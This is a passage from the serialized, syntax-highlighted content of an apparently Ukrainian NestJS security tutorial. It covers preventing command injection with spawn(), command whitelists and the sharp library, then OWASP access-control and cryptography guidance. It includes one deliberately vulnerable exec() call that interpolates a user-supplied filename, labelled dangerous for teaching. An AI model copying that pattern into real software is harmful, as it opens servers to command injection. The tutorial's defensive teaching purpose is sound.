process",[5260,13002,5535],{"class":5273},[5260,13004,12857],{"class":5277},[5260,13006,5281],{"class":5273},[5260,13008,13009],{"class":5284},"'ping'",[5260,13011,13012],{"class":5273},", [",[5260,13014,13015],{"class":5284},"'-c'",[5260,13017,6012],{"class":5273},[5260,13019,13020],{"class":5284},"'4'",[5260,13022,6012],{"class":5273},[5260,13024,12634],{"class":5341},[5260,13026,13027],{"class":5273},"]); ",[5260,13029,13030],{"class":5266},"\u002F\u002F Аргументи передаються як масив\n",[5260,13032,13033],{"class":5262,"line":5662},[5260,13034,5577],{"emptyLinePlaceholder":5576},[5260,13036,13037,13040,13043,13045,13047],{"class":5262,"line":5698},[5260,13038,13039],{"class":5298},"    let",[5260,13041,13042],{"class":5341}," output",[5260,13044,5535],{"class":5273},[5260,13046,5708],{"class":5284},[5260,13048,5567],{"class":5273},[5260,13050,13051,13054,13056,13058,13060,13063,13065,13068,13070,13073,13075,13077],{"class":5262,"line":5713},[5260,13052,13053],{"class":5341},"    process",[5260,13055,5383],{"class":5273},[5260,13057,12691],{"class":5341},[5260,13059,5383],{"class":5273},[5260,13061,13062],{"class":5277},"on",[5260,13064,5281],{"class":5273},[5260,13066,13067],{"class":5284},"'data'",[5260,13069,6263],{"class":5273},[5260,13071,13072],{"class":5341},"data",[5260,13074,5338],{"class":5273},[5260,13076,6271],{"class":5298},[5260,13078,5306],{"class":5273},[5260,13080,13081,13084,13087,13089,13091,13094],{"class":5262,"line":5718},[5260,13082,13083],{"class":5341},"      output",[5260,13085,13086],{"class":5273}," += ",[5260,13088,13072],{"class":5341},[5260,13090,5383],{"class":5273},[5260,13092,13093],{"class":5277},"toString",[5260,13095,5634],{"class":5273},[5260,13097,13098],{"class":5262,"line":5734},[5260,13099,7831],{"class":5273},[5260,13101,13102],{"class":5262,"line":5739},[5260,13103,5577],{"emptyLinePlaceholder":5576},[5260,13105,13106,13108,13110,13112,13114,13117,13119,13121,13123,13125],{"class":5262,"line":8257},[5260,13107,13053],{"class":5341},[5260,13109,5383],{"class":5273},[5260,13111,13062],{"class":5277},[5260,13113,5281],{"class":5273},[5260,13115,13116],{"class":5284},"'close'",[5260,13118,6263],{"class":5273},[5260,13120,5200],{"class":5341},[5260,13122,5338],{"class":5273},[5260,13124,6271],{"class":5298},[5260,13126,5306],{"class":5273},[5260,13128,13129,13131,13133,13135,13137,13140],{"class":5262,"line":8262},[5260,13130,12707],{"class":5294},[5260,13132,8600],{"class":5273},[5260,13134,5200],{"class":5341},[5260,13136,8606],{"class":5273},[5260,13138,13139],{"class":5893},"0",[5260,13141,5368],{"class":5273},[5260,13143,13144,13146,13148,13150,13153,13155,13158,13160,13162,13164,13166],{"class":5262,"line":10095},[5260,13145,12718],{"class":5277},[5260,13147,5281],{"class":5273},[5260,13149,6504],{"class":5298},[5260,13151,13152],{"class":5277}," Error",[5260,13154,5281],{"class":5273},[5260,13156,13157],{"class":5284},"`ping exited with code ",[5260,13159,5394],{"class":5298},[5260,13161,5200],{"class":5341},[5260,13163,5399],{"class":5298},[5260,13165,11434],{"class":5284},[5260,13167,13168],{"class":5273},"));\n",[5260,13170,13171],{"class":5262,"line":10101},[5260,13172,12729],{"class":5273},[5260,13174,13175,13177,13179,13182],{"class":5262,"line":10106},[5260,13176,12734],{"class":5277},[5260,13178,7359],{"class":5273},[5260,13180,13181],{"class":5341},"output",[5260,13183,6743],{"class":5273},[5260,13185,13187],{"class":5262,"line":13186},28,[5260,13188,7831],{"class":5273},[5260,13190,13192],{"class":5262,"line":13191},29,[5260,13193,6646],{"class":5273},[5260,13195,13197],{"class":5262,"line":13196},30,[5260,13198,5423],{"class":5273},[5089,13200,13201,7654,13204,13207,13208,13211,13212,13215],{},[5099,13202,13203],{},"Чому це безпечно:",[5200,13205,13206],{},"spawn()"," передає аргументи ",[5099,13209,13210],{},"напряму до процесу",", не через shell. Спецсимволи (",[5200,13213,13214],{},"; & | > \u003C",") не інтерпретуються як команди.",[5238,13217,13219],{"id":13218},"_2-whitelist-дозволених-команд","2. Whitelist дозволених команд",[5251,13221,13223],{"className":5253,"code":13222,"language":5255,"meta":5256,"style":5256},"const ALLOWED_COMMANDS = new Map([\n  ['ping', '\u002Fusr\u002Fbin\u002Fping'],\n  ['traceroute', '\u002Fusr\u002Fbin\u002Ftraceroute'],\n]);\n\n@Get('network\u002F:command\u002F:host')\nasync executeNetworkCommand(\n  @Param('command') command: string,\n  @Param('host') host: string\n) {\n  if (!ALLOWED_COMMANDS.has(command)) {\n    throw new BadRequestException('Command not allowed');\n  }\n\n  if (!\u002F^[a-zA-Z0-9\\.\\-]+$\u002F.test(host)) {\n    throw new BadRequestException('Invalid host');\n  }\n\n  const execPath = ALLOWED_COMMANDS.get(command);\n  const process = spawn(execPath, ['-c', '4', host]);\n\n  \u002F\u002F ... обробка виводу\n}\n",[5200,13224,13225,13242,13256,13270,13274,13278,13291,13300,13322,13341,13345,13364,13379,13383,13387,13421,13435,13439,13443,13464,13493,13497,13502],{"__ignoreMap":5256},[5260,13226,13227,13229,13232,13234,13236,13239],{"class":5262,"line":5263},[5260,13228,5865],{"class":5298},[5260,13230,13231],{"class":5531}," ALLOWED_COMMANDS",[5260,13233,5535],{"class":5273},[5260,13235,6504],{"class":5298},[5260,13237,13238],{"class":5277}," Map",[5260,13240,13241],{"class":5273},"([\n",[5260,13243,13244,13247,13249,13251,13254],{"class":5262,"line":5270},[5260,13245,13246],{"class":5273},"  [",[5260,13248,13009],{"class":5284},[5260,13250,6012],{"class":5273},[5260,13252,13253],{"class":5284},"'\u002Fusr\u002Fbin\u002Fping'",[5260,13255,6000],{"class":5273},[5260,13257,13258,13260,13263,13265,13268],{"class":5262,"line":5291},[5260,13259,13246],{"class":5273},[5260,13261,13262],{"class":5284},"'traceroute'",[5260,13264,6012],{"class":5273},[5260,13266,13267],{"class":5284},"'\u002Fusr\u002Fbin\u002Ftraceroute'",[5260,13269,6000],{"class":5273},[5260,13271,13272],{"class":5262,"line":5309},[5260,13273,6280],{"class":5273},[5260,13275,13276],{"class":5262,"line":5321},[5260,13277,5577],{"emptyLinePlaceholder":5576},[5260,13279,13280,13282,13284,13286,13289],{"class":5262,"line":5371},[5260,13281,5274],{"class":5273},[5260,13283,5315],{"class":5277},[5260,13285,5281],{"class":5273},[5260,13287,13288],{"class":5284},"'network\u002F:command\u002F:host'",[5260,13290,5288],{"class":5273},[5260,13292,13293,13295,13298],{"class":5262,"line":5377},[5260,13294,6676],{"class":5341},[5260,13296,13297],{"class":5277}," executeNetworkCommand",[5260,13299,5966],{"class":5273},[5260,13301,13302,13304,13306,13308,13311,13313,13316,13318,13320],{"class":5262,"line":5408},[5260,13303,5312],{"class":5273},[5260,13305,8714],{"class":5277},[5260,13307,5281],{"class":5273},[5260,13309,13310],{"class":5284},"'command'",[5260,13312,5338],{"class":5273},[5260,13314,13315],{"class":5341},"command",[5260,13317,5345],{"class":5273},[5260,13319,5348],{"class":5341},[5260,13321,6156],{"class":5273},[5260,13323,13324,13326,13328,13330,13332,13334,13336,13338],{"class":5262,"line":5414},[5260,13325,5312],{"class":5273},[5260,13327,8714],{"class":5277},[5260,13329,5281],{"class":5273},[5260,13331,12629],{"class":5284},[5260,13333,5338],{"class":5273},[5260,13335,12634],{"class":5341},[5260,13337,5345],{"class":5273},[5260,13339,13340],{"class":5341},"string\n",[5260,13342,13343],{"class":5262,"line":5420},[5260,13344,5368],{"class":5273},[5260,13346,13347,13349,13351,13354,13356,13358,13360,13362],{"class":5262,"line":5580},[5260,13348,10234],{"class":5294},[5260,13350,8146],{"class":5273},[5260,13352,13353],{"class":5531},"ALLOWED_COMMANDS",[5260,13355,5383],{"class":5273},[5260,13357,11610],{"class":5277},[5260,13359,5281],{"class":5273},[5260,13361,13315],{"class":5341},[5260,13363,8220],{"class":5273},[5260,13365,13366,13368,13370,13372,13374,13377],{"class":5262,"line":5589},[5260,13367,10666],{"class":5294},[5260,13369,8228],{"class":5298},[5260,13371,12956],{"class":5277},[5260,13373,5281],{"class":5273},[5260,13375,13376],{"class":5284},"'Command not allowed'",[5260,13378,5405],{"class":5273},[5260,13380,13381],{"class":5262,"line":5611},[5260,13382,5417],{"class":5273},[5260,13384,13385],{"class":5262,"line":5637},[5260,13386,5577],{"emptyLinePlaceholder":5576},[5260,13388,13389,13391,13393,13395,13397,13399,13401,13403,13405,13407,13409,13411,13413,13415,13417,13419],{"class":5262,"line":5643},[5260,13390,10234],{"class":5294},[5260,13392,8146],{"class":5273},[5260,13394,6245],{"class":6244},[5260,13396,6902],{"class":6901},[5260,13398,6249],{"class":6248},[5260,13400,12925],{"class":6244},[5260,13402,12928],{"class":11766},[5260,13404,6255],{"class":6248},[5260,13406,11772],{"class":6913},[5260,13408,6917],{"class":6901},[5260,13410,6245],{"class":6244},[5260,13412,5383],{"class":5273},[5260,13414,12941],{"class":5277},[5260,13416,5281],{"class":5273},[5260,13418,12634],{"class":5341},[5260,13420,8220],{"class":5273},[5260,13422,13423,13425,13427,13429,13431,13433],{"class":5262,"line":5649},[5260,13424,10666],{"class":5294},[5260,13426,8228],{"class":5298},[5260,13428,12956],{"class":5277},[5260,13430,5281],{"class":5273},[5260,13432,12961],{"class":5284},[5260,13434,5405],{"class":5273},[5260,13436,13437],{"class":5262,"line":5662},[5260,13438,5417],{"class":5273},[5260,13440,13441],{"class":5262,"line":5698},[5260,13442,5577],{"emptyLinePlaceholder":5576},[5260,13444,13445,13447,13450,13452,13454,13456,13458,13460,13462],{"class":5262,"line":5713},[5260,13446,5807],{"class":5298},[5260,13448,13449],{"class":5531}," execPath",[5260,13451,5535],{"class":5273},[5260,13453,13353],{"class":5531},[5260,13455,5383],{"class":5273},[5260,13457,8113],{"class":5277},[5260,13459,5281],{"class":5273},[5260,13461,13315],{"class":5341},[5260,13463,5405],{"class":5273},[5260,13465,13466,13468,13470,13472,13474,13476,13479,13481,13483,13485,13487,13489,13491],{"class":5262,"line":5718},[5260,13467,5807],{"class":5298},[5260,13469,13000],{"class":5531},[5260,13471,5535],{"class":5273},[5260,13473,12857],{"class":5277},[5260,13475,5281],{"class":5273},[5260,13477,13478],{"class":5341},"execPath",[5260,13480,13012],{"class":5273},[5260,13482,13015],{"class":5284},[5260,13484,6012],{"class":5273},[5260,13486,13020],{"class":5284},[5260,13488,6012],{"class":5273},[5260,13490,12634],{"class":5341},[5260,13492,6280],{"class":5273},[5260,13494,13495],{"class":5262,"line":5734},[5260,13496,5577],{"emptyLinePlaceholder":5576},[5260,13498,13499],{"class":5262,"line":5739},[5260,13500,13501],{"class":5266},"  \u002F\u002F ... обробка виводу\n",[5260,13503,13504],{"class":5262,"line":8257},[5260,13505,5423],{"class":5273},[5238,13507,13509],{"id":13508},"_3-використання-бібліотек-замість-shell-команд","3. Використання бібліотек замість shell команд",[5251,13511,13513],{"className":5253,"code":13512,"language":5255,"meta":5256,"style":5256},"\u002F\u002F ❌ НЕБЕЗПЕЧНО: виклик системної команди\nexec(`convert ${userFile} -resize 200x200 ${outputFile}`);\n\n\u002F\u002F ✅ БЕЗПЕЧНО: використання JavaScript бібліотеки\nimport sharp from 'sharp';\n\nawait sharp(userFile)\n  .resize(200, 200)\n  .toFile(outputFile);\n",[5200,13514,13515,13520,13550,13554,13559,13573,13577,13589,13608],{"__ignoreMap":5256},[5260,13516,13517],{"class":5262,"line":5263},[5260,13518,13519],{"class":5266},"\u002F\u002F ❌ НЕБЕЗПЕЧНО: виклик системної команди\n",[5260,13521,13522,13524,13526,13529,13531,13534,13536,13539,13541,13544,13546,13548],{"class":5262,"line":5270},[5260,13523,12587],{"class":5277},[5260,13525,5281],{"class":5273},[5260,13527,13528],{"class":5284},"`convert ",[5260,13530,5394],{"class":5298},[5260,13532,13533],{"class":5341},"userFile",[5260,13535,5399],{"class":5298},[5260,13537,13538],{"class":5284}," -resize 200x200 ",[5260,13540,5394],{"class":5298},[5260,13542,13543],{"class":5341},"outputFile",[5260,13545,5399],{"class":5298},[5260,13547,11434],{"class":5284},[5260,13549,5405],{"class":5273},[5260,13551,13552],{"class":5262,"line":5291},[5260,13553,5577],{"emptyLinePlaceholder":5576},[5260,13555,13556],{"class":5262,"line":5309},[5260,13557,13558],{"class":5266},"\u002F\u002F ✅ БЕЗПЕЧНО: використання JavaScript бібліотеки\n",[5260,13560,13561,13563,13566,13568,13571],{"class":5262,"line":5321},[5260,13562,5938],{"class":5294},[5260,13564,13565],{"class":5341}," sharp",[5260,13567,5944],{"class":5294},[5260,13569,13570],{"class":5284}," 'sharp'",[5260,13572,5567],{"class":5273},[5260,13574,13575],{"class":5262,"line":5371},[5260,13576,5577],{"emptyLinePlaceholder":5576},[5260,13578,13579,13581,13583,13585,13587],{"class":5262,"line":5377},[5260,13580,5538],{"class":5294},[5260,13582,13565],{"class":5277},[5260,13584,5281],{"class":5273},[5260,13586,13533],{"class":5341},[5260,13588,5288],{"class":5273},[5260,13590,13591,13594,13597,13599,13602,13604,13606],{"class":5262,"line":5408},[5260,13592,13593],{"class":5273},"  .",[5260,13595,13596],{"class":5277},"resize",[5260,13598,5281],{"class":5273},[5260,13600,13601],{"class":5893},"200",[5260,13603,6012],{"class":5273},[5260,13605,13601],{"class":5893},[5260,13607,5288],{"class":5273},[5260,13609,13610,13612,13615,13617,13619],{"class":5262,"line":5414},[5260,13611,13593],{"class":5273},[5260,13613,13614],{"class":5277},"toFile",[5260,13616,5281],{"class":5273},[5260,13618,13543],{"class":5341},[5260,13620,5405],{"class":5273},[5089,13622,13623],{},[5099,13624,13625],{},"Переваги:",[5093,13627,13628,13631,13634],{},[5096,13629,13630],{},"Немає Command Injection (взагалі не використовується shell)",[5096,13632,13633],{},"Кросплатформенність (працює на Linux, Windows, macOS)",[5096,13635,13636],{},"Краща продуктивність (без overhead запуску процесу)",[5143,13638],{},[5084,13640,13642],{"id":13641},"owasp-top-10-найкритичніші-вразливості","OWASP Top 10: Найкритичніші вразливості",[5089,13644,13645,13648,13649,13651],{},[5099,13646,13647],{},"OWASP (Open Web Application Security Project)"," — це некомерційна організація, що публікує стандарти та інструменти для безпеки веб-застосунків. ",[5099,13650,5137],{}," — це рейтинг найнебезпечніших вразливостей, оновлюваний кожні 3-4 роки.",[5233,13653,13655],{"id":13654},"owasp-top-10-2021","OWASP Top 10 (2021)",[5238,13657,13659],{"id":13658},"a01-broken-access-control","A01: Broken Access Control",[5089,13661,13662,13665],{},[5099,13663,13664],{},"Опис:"," порушення контролю доступу дозволяє користувачам виконувати дії поза їхніми дозволами.",[5089,13667,13668],{},[5099,13669,13670],{},"Приклади:",[5093,13672,13673,13683,13686],{},[5096,13674,13675,13676,13679,13680],{},"Доступ до чужого профілю через URL: ",[5200,13677,13678],{},"\u002Fusers\u002F123\u002Fprofile"," → змінити на ",[5200,13681,13682],{},"\u002Fusers\u002F124\u002Fprofile",[5096,13684,13685],{},"Підвищення привілеїв: звичайний користувач може виконувати адміністративні дії",[5096,13687,13688],{},"Обхід авторизації через пряме посилання на API endpoint",[5089,13690,13691],{},[5099,13692,13693],{},"Захист:",[5251,13695,13697],{"className":5253,"code":13696,"language":5255,"meta":5256,"style":5256},"\u002F\u002F ✅ Перевірка прав доступу\n@Get('users\u002F:id\u002Fprofile')\n@UseGuards(JwtAuthGuard)\nasync getProfile(@Param('id') id: string, @CurrentUser() user: User) {\n  \u002F\u002F Користувач може переглядати лише свій профіль\n  if (user.id !== id && user.role !== 'admin') {\n    throw new ForbiddenException('Access denied');\n  }\n\n  return this.userService.getProfile(id);\n}\n",[5200,13698,13699,13704,13717,13730,13770,13775,13806,13820,13824,13828,13850],{"__ignoreMap":5256},[5260,13700,13701],{"class":5262,"line":5263},[5260,13702,13703],{"class":5266},"\u002F\u002F ✅ Перевірка прав доступу\n",[5260,13705,13706,13708,13710,13712,13715],{"class":5262,"line":5270},[5260,13707,5274],{"class":5273},[5260,13709,5315],{"class":5277},[5260,13711,5281],{"class":5273},[5260,13713,13714],{"class":5284},"'users\u002F:id\u002Fprofile'",[5260,13716,5288],{"class":5273},[5260,13718,13719,13721,13723,13725,13728],{"class":5262,"line":5291},[5260,13720,5274],{"class":5273},[5260,13722,8317],{"class":5277},[5260,13724,5281],{"class":5273},[5260,13726,13727],{"class":5341},"JwtAuthGuard",[5260,13729,5288],{"class":5273},[5260,13731,13732,13734,13737,13739,13741,13743,13746,13748,13751,13753,13755,13757,13760,13762,13764,13766,13768],{"class":5262,"line":5309},[5260,13733,6676],{"class":5341},[5260,13735,13736],{"class":5277}," getProfile",[5260,13738,5327],{"class":5273},[5260,13740,8714],{"class":5277},[5260,13742,5281],{"class":5273},[5260,13744,13745],{"class":5284},"'id'",[5260,13747,5338],{"class":5273},[5260,13749,13750],{"class":5341},"id",[5260,13752,5345],{"class":5273},[5260,13754,5348],{"class":5341},[5260,13756,5351],{"class":5273},[5260,13758,13759],{"class":5277},"CurrentUser",[5260,13761,5357],{"class":5273},[5260,13763,7721],{"class":5341},[5260,13765,5345],{"class":5273},[5260,13767,7726],{"class":5341},[5260,13769,5368],{"class":5273},[5260,13771,13772],{"class":5262,"line":5321},[5260,13773,13774],{"class":5266},"  \u002F\u002F Користувач може переглядати лише свій профіль\n",[5260,13776,13777,13779,13781,13783,13785,13787,13789,13791,13794,13796,13798,13800,13802,13804],{"class":5262,"line":5371},[5260,13778,10234],{"class":5294},[5260,13780,8600],{"class":5273},[5260,13782,7721],{"class":5341},[5260,13784,5383],{"class":5273},[5260,13786,13750],{"class":5341},[5260,13788,8606],{"class":5273},[5260,13790,13750],{"class":5341},[5260,13792,13793],{"class":5273}," && ",[5260,13795,7721],{"class":5341},[5260,13797,5383],{"class":5273},[5260,13799,9110],{"class":5341},[5260,13801,8606],{"class":5273},[5260,13803,11282],{"class":5284},[5260,13805,5368],{"class":5273},[5260,13807,13808,13810,13812,13814,13816,13818],{"class":5262,"line":5377},[5260,13809,10666],{"class":5294},[5260,13811,8228],{"class":5298},[5260,13813,8231],{"class":5277},[5260,13815,5281],{"class":5273},[5260,13817,12002],{"class":5284},[5260,13819,5405],{"class":5273},[5260,13821,13822],{"class":5262,"line":5408},[5260,13823,5417],{"class":5273},[5260,13825,13826],{"class":5262,"line":5414},[5260,13827,5577],{"emptyLinePlaceholder":5576},[5260,13829,13830,13832,13834,13836,13839,13841,13844,13846,13848],{"class":5262,"line":5420},[5260,13831,6231],{"class":5294},[5260,13833,5541],{"class":5298},[5260,13835,5383],{"class":5273},[5260,13837,13838],{"class":5341},"userService",[5260,13840,5383],{"class":5273},[5260,13842,13843],{"class":5277},"getProfile",[5260,13845,5281],{"class":5273},[5260,13847,13750],{"class":5341},[5260,13849,5405],{"class":5273},[5260,13851,13852],{"class":5262,"line":5580},[5260,13853,5423],{"class":5273},[5238,13855,13857],{"id":13856},"a02-cryptographic-failures","A02: Cryptographic Failures",[5089,13859,13860,13862],{},[5099,13861,13664],{}," неправильне використання криптографії — зберігання паролів у відкритому вигляді, слабкі алгоритми хешування, відсутність шифрування конфіденційних даних.",[5089,13864,13865],{},[5099,13866,13670],{},[5093,13868,13869,13872,13875],{},[5096,13870,13871],{},"Зберігання паролів без хешування",[5096,13873,13874],{},"Використання MD5\u002FSHA1 для паролів (застарілі та вразливі)",[5096,13876,13877],{},"Передача конфіденційних даних через HTTP (без TLS)",[5089,13879,13880],{},[5099,13881,13693],{},[5251,13883,13885],{"className":5253,"code":13884,"language":5255,"meta":5256,"style":5256},"\u002F\u002F ✅ Хешування паролів через bcrypt\nimport * as bcrypt from 'bcrypt';\n\n@Injectable()\nexport class AuthService {\n  async hashPassword(password: string): Promise\u003Cstring> {\n    const salt = await bcrypt.genSalt(12); \u002F\u002F 12 rounds — оптимальний баланс\n    return bcrypt.hash(password, salt);\n  }\n\n  async validatePassword(password: string, hash: string): Promise\u003Cboolean> {\n    return bcrypt.compare(password, hash);\n  }\n}\n",[5200,13886,13887,13892,13910,13914,13922,13932,13958,13987,14008,14012,14016,14049,14070,14074],{"__ignoreMap":5256},[5260,13888,13889],{"class":5262,"line":5263},[5260,13890,13891],{"class":5266},"\u002F\u002F ✅ Хешування паролів через bcrypt\n",[5260,13893,13894,13896,13898,13900,13903,13905,13908],{"class":5262,"line":5270},[5260,13895,5938],{"class":5294},[5260,13897,7252],{"class":5298},[5260,13899,6536],{"class":5294},[5260,13901,13902],{"class":5341}," bcrypt",[5260,13904,5944],{"class":5294},[5260,13906,13907],{"class":5284}," 'bcrypt'",[5260,13909,5567],{"class":5273},[5260,13911,13912],{"class":5262,"line":5291},[5260,13913,5577],{"emptyLinePlaceholder":5576},[5260,13915,13916,13918,13920],{"class":5262,"line":5309},[5260,13917,5274],{"class":5273},[5260,13919,7688],{"class":5277},[5260,13921,5318],{"class":5273},[5260,13923,13924,13926,13928,13930],{"class":5262,"line":5321},[5260,13925,5295],{"class":5294},[5260,13927,5299],{"class":5298},[5260,13929,7699],{"class":5302},[5260,13931,5306],{"class":5273},[5260,13933,13934,13936,13939,13941,13943,13945,13947,13949,13952,13954,13956],{"class":5262,"line":5371},[5260,13935,5498],{"class":5298},[5260,13937,13938],{"class":5277}," hashPassword",[5260,13940,5281],{"class":5273},[5260,13942,10219],{"class":5341},[5260,13944,5345],{"class":5273},[5260,13946,5348],{"class":5302},[5260,13948,6115],{"class":5273},[5260,13950,13951],{"class":5302},"Promise",[5260,13953,5202],{"class":5273},[5260,13955,5348],{"class":5302},[5260,13957,9865],{"class":5273},[5260,13959,13960,13962,13965,13967,13969,13971,13973,13976,13978,13981,13984],{"class":5262,"line":5377},[5260,13961,5528],{"class":5298},[5260,13963,13964],{"class":5531}," salt",[5260,13966,5535],{"class":5273},[5260,13968,5538],{"class":5294},[5260,13970,13902],{"class":5341},[5260,13972,5383],{"class":5273},[5260,13974,13975],{"class":5277},"genSalt",[5260,13977,5281],{"class":5273},[5260,13979,13980],{"class":5893},"12",[5260,13982,13983],{"class":5273},"); ",[5260,13985,13986],{"class":5266},"\u002F\u002F 12 rounds — оптимальний баланс\n",[5260,13988,13989,13991,13993,13995,13997,13999,14001,14003,14006],{"class":5262,"line":5408},[5260,13990,5562],{"class":5294},[5260,13992,13902],{"class":5341},[5260,13994,5383],{"class":5273},[5260,13996,5883],{"class":5277},[5260,13998,5281],{"class":5273},[5260,14000,10219],{"class":5341},[5260,14002,6012],{"class":5273},[5260,14004,14005],{"class":5341},"salt",[5260,14007,5405],{"class":5273},[5260,14009,14010],{"class":5262,"line":5414},[5260,14011,5417],{"class":5273},[5260,14013,14014],{"class":5262,"line":5420},[5260,14015,5577],{"emptyLinePlaceholder":5576},[5260,14017,14018,14020,14023,14025,14027,14029,14031,14033,14035,14037,14039,14041,14043,14045,14047],{"class":5262,"line":5580},[5260,14019,5498],{"class":5298},[5260,14021,14022],{"class":5277}," validatePassword",[5260,14024,5281],{"class":5273},[5260,14026,10219],{"class":5341},[5260,14028,5345],{"class":5273},[5260,14030,5348],{"class":5302},[5260,14032,6012],{"class":5273},[5260,14034,5883],{"class":5341},[5260,14036,5345],{"class":5273},[5260,14038,5348],{"class":5302},[5260,14040,6115],{"class":5273},[5260,14042,13951],{"class":5302},[5260,14044,5202],{"class":5273},[5260,14046,8045],{"class":5302},[5260,14048,9865],{"class":5273},[5260,14050,14051,14053,14055,14057,14060,14062,14064,14066,14068],{"class":5262,"line":5589},[5260,14052,5562],{"class":5294},[5260,14054,13902],{"class":5341},[5260,14056,5383],{"class":5273},[5260,14058,14059],{"class":5277},"compare",[5260,14061,5281],{"class":5273},[5260,14063,10219],{"class":5341},[5260,14065,6012],{"class":5273},[5260,14067,5883],{"class":5341},[5260,14069,5405],{"class":5273},[5260,14071,14072],{"class":5262,"line":5611},[5260,14073,5417],{"class":5273},[5260,14075,14076],{"class":5262,"line":5637},[5260,14077,5423],{"class":5273},[5089,14079,14080],{},[5099,14081,14082],{},"Шифрування конфіденційних даних:",[5251,14084,14086],{"className":5253,"code":14085,"language":5255,"meta":5256,"style":5256},"\u002F\u002F src\u002Fcommon\u002Futils\u002Fencryption.util.ts\nimport * as crypto from 'crypto';\n\nconst ALGORITHM = 'aes-256-gcm';\nconst SECRET_KEY = process.env.ENCRYPTION_KEY; \u002F\u002F 32 bytes\n\nexport function encrypt(text: string): { encrypted: string; iv: string; tag: string } {\n  const iv = crypto.randomBytes(16);\n  const cipher = crypto.createCipheriv(ALGORITHM, Buffer.from(SECRET_KEY), iv);\n\n  let encrypted = cipher.update(text, 'utf8', 'hex');\n  encrypted += cipher.final('hex');\n\n  const tag = cipher.getAuthTag();\n\n  return {\n    encrypted,\n    iv: iv.toString('hex'),\n    tag: tag.toString('hex'),\n  };\n}\n\nexport function decrypt(encrypted: string, iv: string, tag: string): string {\n  const decipher = crypto.createDecipheriv(\n    ALGORITHM,\n    Buffer.from(SECRET_KEY),\n    Buffer.from(iv, 'hex')\n  );\n\n  decipher.setAuthTag(Buffer.from(tag, 'hex'));\n\n  let decrypted = decipher.update(encrypted, 'hex', 'utf8');\n  decrypted += decipher.final('utf8');\n\n  return decrypted;\n}\n",[5200,14087,14088,14093,14111,14115,14129,14156,14160,14208,14232,14274,14278,14312,14332,14336,14354,14358,14364,14371,14389,14406,14410,14414,14418,14457,14475,14482,14497,14515,14520,14524,14552,14557,14588,14608,14613,14622],{"__ignoreMap":5256},[5260,14089,14090],{"class":5262,"line":5263},[5260,14091,14092],{"class":5266},"\u002F\u002F src\u002Fcommon\u002Futils\u002Fencryption.util.ts\n",[5260,14094,14095,14097,14099,14101,14104,14106,14109],{"class":5262,"line":5270},[5260,14096,5938],{"class":5294},[5260,14098,7252],{"class":5298},[5260,14100,6536],{"class":5294},[5260,14102,14103],{"class":5341}," crypto",[5260,14105,5944],{"class":5294},[5260,14107,14108],{"class":5284}," 'crypto'",[5260,14110,5567],{"class":5273},[5260,14112,14113],{"class":5262,"line":5291},[5260,14114,5577],{"emptyLinePlaceholder":5576},[5260,14116,14117,14119,14122,14124,14127],{"class":5262,"line":5309},[5260,14118,5865],{"class":5298},[5260,14120,14121],{"class":5531}," ALGORITHM",[5260,14123,5535],{"class":5273},[5260,14125,14126],{"class":5284},"'aes-256-gcm'",[5260,14128,5567],{"class":5273},[5260,14130,14131,14133,14136,14138,14141,14143,14146,14148,14151,14153],{"class":5262,"line":5321},[5260,14132,5865],{"class":5298},[5260,14134,14135],{"class":5531}," SECRET_KEY",[5260,14137,5535],{"class":5273},[5260,14139,14140],{"class":5341},"process",[5260,14142,5383],{"class":5273},[5260,14144,14145],{"class":5341},"env",[5260,14147,5383],{"class":5273},[5260,14149,14150],{"class":5531},"ENCRYPTION_KEY",[5260,14152,5844],{"class":5273},[5260,14154,14155],{"class":5266},"\u002F\u002F 32 bytes\n",[5260,14157,14158],{"class":5262,"line":5371},[5260,14159,5577],{"emptyLinePlaceholder":5576},[5260,14161,14162,14164,14166,14169,14171,14173,14175,14177,14180,14183,14185,14187,14189,14192,14194,14196,14198,14201,14203,14205],{"class":5262,"line":5377},[5260,14163,5295],{"class":5294},[5260,14165,6101],{"class":5298},[5260,14167,14168],{"class":5277}," encrypt",[5260,14170,5281],{"class":5273},[5260,14172,5434],{"class":5341},[5260,14174,5345],{"class":5273},[5260,14176,5348],{"class":5302},[5260,14178,14179],{"class":5273},"): { ",[5260,14181,14182],{"class":5341},"encrypted",[5260,14184,5345],{"class":5273},[5260,14186,5348],{"class":5302},[5260,14188,5844],{"class":5273},[5260,14190,14191],{"class":5341},"iv",[5260,14193,5345],{"class":5273},[5260,14195,5348],{"class":5302},[5260,14197,5844],{"class":5273},[5260,14199,14200],{"class":5341},"tag",[5260,14202,5345],{"class":5273},[5260,14204,5348],{"class":5302},[5260,14206,14207],{"class":5273}," } {\n",[5260,14209,14210,14212,14215,14217,14220,14222,14225,14227,14230],{"class":5262,"line":5408},[5260,14211,5807],{"class":5298},[5260,14213,14214],{"class":5531}," iv",[5260,14216,5535],{"class":5273},[5260,14218,14219],{"class":5341},"crypto",[5260,14221,5383],{"class":5273},[5260,14223,14224],{"class":5277},"randomBytes",[5260,14226,5281],{"class":5273},[5260,14228,14229],{"class":5893},"16",[5260,14231,5405],{"class":5273},[5260,14233,14234,14236,14239,14241,14243,14245,14248,14250,14253,14255,14258,14260,14262,14264,14267,14270,14272],{"class":5262,"line":5414},[5260,14235,5807],{"class":5298},[5260,14237,14238],{"class":5531}," cipher",[5260,14240,5535],{"class":5273},[5260,14242,14219],{"class":5341},[5260,14244,5383],{"class":5273},[5260,14246,14247],{"class":5277},"createCipheriv",[5260,14249,5281],{"class":5273},[5260,14251,14252],{"class":5531},"ALGORITHM",[5260,14254,6012],{"class":5273},[5260,14256,14257],{"class":5341},"Buffer",[5260,14259,5383],{"class":5273},[5260,14261,6483],{"class":5277},[5260,14263,5281],{"class":5273},[5260,14265,14266],{"class":5531},"SECRET_KEY",[5260,14268,14269],{"class":5273},"), ",[5260,14271,14191],{"class":5341},[5260,14273,5405],{"class":5273},[5260,14275,14276],{"class":5262,"line":5420},[5260,14277,5577],{"emptyLinePlaceholder":5576},[5260,14279,14280,14283,14286,14288,14291,14293,14296,14298,14300,14302,14305,14307,14310],{"class":5262,"line":5580},[5260,14281,14282],{"class":5298},"  let",[5260,14284,14285],{"class":5341}," 